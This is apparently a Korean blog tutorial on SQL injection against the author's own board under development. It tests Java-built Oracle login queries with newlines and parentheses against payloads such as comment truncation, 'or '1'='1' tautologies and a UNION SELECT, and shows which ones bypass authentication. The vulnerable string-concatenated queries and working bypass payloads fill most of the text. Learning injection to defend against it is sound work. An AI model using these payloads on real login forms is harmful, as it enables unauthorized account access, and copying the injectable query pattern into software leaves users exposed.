개발 중인 게시판의 로그인 과정을 어떻게 우회할 수 있는지 살펴보자.
식별과 인증을 동시에 하는 로그인 과정과 분리해서 진행하는 로그인 과정이 있다. 두 경우 모두 SQL query
가 사용되는데 로그인을 우회할 수 있는 취약한 경우를 알아보자.
String query = "SELECT * FROM users WHERE user_id='" + userId + "'" + " AND password='" + userPass + "'"
id
와 password
를 입력받는 가장 기본적인 case를 우회하겠다.
ID : inmo' -- PW : 1
로그인 성공!
ID : inmo' or '1'='1 PW : 1
로그인 성공!
ID : inmo' or '1'='1' -- PW : 1
로그인 성공!
ID : injection' union select '1','1','1','1', sysdate from dual -- PW : 1
로그인 성공!
String query = "SELECT * FROM users WHERE user_id='" + userId + "'" + "\n AND password='" + userPass + "'"
ID : inmo' -- PW : 1
줄 바꿈을 했기 때문에 패스워드 부분을 주석 처리할 수 없다. 따라서 로그인 실패!
ID : inmo' or '1'='1 PW : 1
줄 바꿈을 해도 or 연산자로 AND password='userPass'
구문을 우회할 수 있다. 따라서 로그인 성공!
ID : inmo' or '1'='1' -- PW : 1
줄 바꿈을 해 주석으로 패스워드 구문을 무시할 수 없다. 하지만 OR 연산자로 패스워드 구문을 우회할 수 있어 로그인 성공!
SELECT * FROM users WHERE user_id='inmo' or '1'='1' --
AND password='1'
ID : injection' union select '1','1','1','1', sysdate from dual -- PW : 1
줄 바꿈 된 패스워드 구문을 주석 처리에 실패하여 문법 에러 발생, 따라서 로그인 실패!
Error Msg = ORA-00933: SQL command not properly ended
String query = "SELECT * FROM users WHERE user_id=('" + userId + "')" + " AND password=('" + userPass + "')"
ID : inmo' --
Error Msg = ORA-00907: missing right parenthesis
오른쪽 괄호가 생략되어 에러가 발생, 따라서 로그인 실패!
ID : inmo')-- PW : 1
오른쪽 괄호를 닫고 남은 구문은 주석 처리 해 로그인 성공!
ID : inmo' or '1'='1 PW : 1
괄호로 인해 ‘1’=’1’ 구문이 패스워드 구문과 AND 연산을 하지 못한다. 따라서 로그인 실패!
SELECT * FROM users WHERE user_id=('inmo' or '1'='1') AND password=('123')
ID : injection') or '1'='1' -- PW : 1
우선 오른쪽 괄호를 닫는다. 그럼 SELECT * FROM users WHERE user_id=('injection') or '1'='1' --
질의문이 완성된다. SELECT * FROM users WHERE user_id=('injection')
질의 결과는 false
그리고 '1'='1'
결과는 true
, 두 구문은 OR 연산으로 항상 true
이다. 이후 AND password=('123')
구문은 주석 처리한다. 최종적으로 패스워드 구문을 우회해 로그인 성공!
ID : injection' union select '1','1','1','1', sysdate from dual -- PW : 1
오른쪽 괄호를 닫지않아 로그인 실패!
injection' union select '1','1','1','1', sysdate from dual) --
괄호는 닫았으나 UNION 구조에 맞지 않아 문법 에러 발생, 따라서 로그인 실패!
SELECT * FROM users WHERE (user_id='injection' union select '1','1','1','1', sysdate from dual) --')
ID : injection') union select '1','1','1','1', sysdate from dual -- PW : 1
UNION 구조에 맞게 괄호를 닫은 후 공격 시도, 로그인 성공!
String query = "SELECT * FROM users WHERE (user_id='" + userId + "')" + " AND password='" + userPass + "'";
() query 버전 1과 동일한 결과를 얻었다.
String query = "SELECT * FROM users WHERE user_id=('" + userId + "')" +"\n AND password=('" + userPass + "')";
ID : inmo') or '1'='1' -- PW : 1
SELECT * FROM users WHERE user_id=('inmo') or '1'='1' --')
AND password=('1')
줄 바꿈을 해 주석으로 패스워드 구문을 무시할 수 없다. 하지만 괄호를 닫아 '
, )
구문을 무시하고 OR 연산자로 패스워드 구문을 우회하면 로그인 성공!
inmo') or '1'='1' --
공격 구문은 아이디를 알고 있을 때만 적용 가능하다. 하지만 아래 공격 구문은 아이디, 비밀번호 모두 몰라도 공격이 가능하다.
ID : injection') or '1'='1' or '1'='1' -- PW : 1
SELECT * FROM users WHERE user_id=('injection') or '1'='1' or '1'='1' --')
AND password=('1')
SQL에서 OR 연산자보다 AND 연산자 우선순위가 높다. 따라서 주석으로 '
, )
구문을 무시하고
'1'='1' and password='1'
연산한 결과 false
와 SELECT * FROM users WHERE user_id=('injection') or '1'='1'
연산한 결과 true
를 OR 연산하면 true
이므로 로그인에 성공한다!
ID : injection' union select '1','1','1','1', sysdate from dual -- PW : 1
괄호가 존재해 로그인 실패!
injection') union select '1','1','1','1', sysdate from dual --
줄 바꿈 때문에 주석이 패스워드 구문을 우회할 수 없어 로그인 실패!